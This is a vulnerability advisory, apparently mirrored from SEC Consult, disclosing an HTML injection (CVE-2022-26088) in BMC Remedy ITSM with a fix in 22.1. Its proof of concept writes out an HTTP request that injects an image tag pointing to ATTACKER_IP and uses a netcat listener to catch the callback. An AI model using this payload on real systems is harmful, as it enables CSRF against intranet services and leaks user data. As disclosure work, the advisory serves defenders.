Share
## https://sploitus.com/exploit?id=PACKETSTORM:169863
SEC Consult Vulnerability Lab Security Advisory < 20221110-0 >  
=======================================================================  
title: HTML Injection  
product: BMC Remedy ITSM-Suite  
vulnerable version: 9.1.10 (= 20.02 in new versioning scheme)  
fixed version: 22.1  
CVE number: CVE-2022-26088  
impact: Low  
homepage: https://www.bmc.com/it-solutions/remedy-itsm.html  
found: 2021-08-11  
by: Daniel Hirschberger (Office Bochum)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult, an Atos company  
Europe | Asia | North America  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"Remedy IT Service Management Suite (Remedy ITSM Suite) and BMC Helix  
ITSM service provide out of-the-box IT Information Library (ITIL)  
service support functionality. Remedy ITSM Suite and BMC Helix ITSM  
service streamline and automate the processes around IT service desk,  
asset management, and change management operations. It also enables  
you to link your business services to your IT infrastructure to help  
you manage the impact of technology changes on business and business  
changes on technology โ€” in real time and into the future. In addition,  
you can understand and optimize the user experience, balance current  
and future infrastructure investments, and view potential impact on  
the business by using a real-time service model."  
  
Source: https://docs.bmc.com/docs/itsm91/home-608490971.html  
  
  
Business recommendation:  
------------------------  
The vendor provides an updated version which should be installed immediately.  
  
The vendor states that:  
> We have done hardening in version 22.1.  
> However, we do not agree with assigning the CVE to this vulnerability.  
> As mentioned previously this is an informative vulnerability, and no real  
impact is demonstrated.  
  
  
Nevertheless, this can be used to trigger actions on internal services via CSRF or  
exfiltrate information.  
  
  
Vulnerability overview/description:  
-----------------------------------  
1) HTML Injection (CVE-2022-26088)  
An authenticated attacker who can forward incidents per email is able to inject  
a limited set of HTML tags. This is accomplished by inserting arbitrary content  
into the "To:" field of the email. There is a filtering mechanism that prevents  
the injection of many HTML tags, for example <script>, and it also removes event  
handlers. An attacker is able to insert an image tag with an arbitrary src URL.  
  
After sending the email, an entry is appended into the activity log of the  
incident which states that $USER has sent an email to <X> recipients. Upon  
clicking on the number <X>, the injected HTML code is loaded and executed.  
  
By inserting an <img> with an arbitrary "src" attribute, an attacker can force  
the user's browser to make requests to his specified URL. This can be used to  
trigger actions on internal services via CSRF or exfiltrate information.  
  
  
Proof of concept:  
-----------------  
1) HTML Injection (CVE-2022-26088)  
When an incident is viewed, there is a button which allows forwarding the  
incident by mail. After entering a TO address and the body of the email, it can  
be sent by clicking on the send button.  
  
The HTML injection can be performed by intercepting this request and changing  
the 'Email.To.InternetEmail' parameter. The modified request is:  
  
-------------------------------------------------------------------------------  
PUT /rest/incident/worknote/SOME_INCIDENT_ID HTTP/1.1  
Host: TARGET  
Cookie: [โ€ฆ]  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: application/json, text/plain, */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/json;charset=utf-8  
X-Xsrf-Token: SOME_TOKEN  
Content-Length: ADAPT_AS_NEEDED  
Te: trailers  
Connection: close  
  
{  
"worknote": "pentest",  
"access": true,  
"Email.From.Person": {  
"email": "SOME_SENDING_MAIL",  
"fullName": "Pentest - SEC Consult",  
"loginId": "USERNAME"  
},  
"Email.Subject": "SOME_SUBJECT",  
"Email.Body": "test2",  
"Email.To.InternetEmail": "<img src=http://ATTACKER_IP:8001/>a@example.test",  
"workInfoType": 16000  
}  
-------------------------------------------------------------------------------  
  
The parameter Email.To.InternetEmail contains the payload. In this case an  
image tag containing the IP of the attacker was inserted:  
"<img src=http://LOCAL_IP:8001/>a@example.test"  
The a@example.test is needed to pass the email validation step and example.test  
was used to prevent sending out real emails.  
  
After this step, the information that $USER has sent an email to 1 recipient  
will be appended in the activity log of this incident.  
  
  
Now we start a local netcat listener with the command  
$ nc -vnlp 8001  
  
Now we click on the number '1' in the activity log and see that the browser  
issues a request to our 'netcat' instance.  
  
This confirms that the browser tries to load the image from the specified URL.  
  
  
Vulnerable / tested versions:  
-----------------------------  
The following version has been tested:  
* 9.1.10 this corresponds to version 20.02 as stated at the following URL:  
https://community.bmc.com/s/news/aA33n000000CmmSCAS/remedy-version-mapping  
  
  
Vendor contact timeline:  
------------------------  
2021-09-07: Contacting vendor through email (appsec@bmc.com).  
2021-09-28: Vendor states that they did not get the first email.  
2021-09-29: Resending the advisory to their renewed GPG key.  
2021-10-29: Fix pending, request to delay publication.  
2021-11-18: Vulnerability is fixed and the fix is being evaluated.  
2022-01-17: Asking for a status update.  
2022-01-17: Vulnerability is fixed, no scheduled release.  
2022-01-24: Tentative release on 2022-03-09; discussing impact 'best practice' vs 'low'.  
2022-02-24: Fixed in Smart-IT 22.1, release postponed.  
2022-03-30: Release postponed to May 2022.  
2022-04-20: Asking if the fixed version will be released in May.  
2022-05-17: Asking if the fixed version will be released in May.  
2022-05-23: Release rescheduled to end of June/July  
2022-08-04: Asking for status  
2022-08-05: Product was released  
2022-08-31: Asking for link to update  
2022-09-01: Vendor does not agree with getting a CVE assigned, impact is explained again  
2022-09-06: Vendor asks for final version of advisory  
2022-09-06: Asking vendor for a new GPG key because of expiry  
2022-09-07: Sending the final advisory to the vendor  
2022-09-12: Vendor will check the advisory and answer in 1 or 2 days  
2022-09-14: Vendor states that their application is not vulnerable to CSRF and  
asks if other data could be leaked via the HTTP request  
2022-09-15: We clarify that their application does not seem to be vulnerable to  
CSRF but the HTML injection allows CSRFing other applications in the intranet.  
Also we did not have time to assess if other data besides User-Agent and the  
client's IP can be leaked.  
2022-10-04: We request an update to the previous mail.  
2022-10-19: Vendor sticks to their own original impact analysis.  
2022-11-10: Public release of security advisory.  
  
  
Solution:  
---------  
Upgrade to version 22.1 or later which can be downloaded at the vendor's page:  
https://www.bmc.com/support/resources/product-downloads.html  
  
  
Workaround:  
-----------  
None  
  
  
Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
  
SEC Consult, an Atos company  
Europe | Asia | North America  
  
About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Atos company. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://sec-consult.com/career/  
  
Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://sec-consult.com/contact/  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Mail: security-research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: http://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult  
  
EOF Daniel Hirschberger / @2022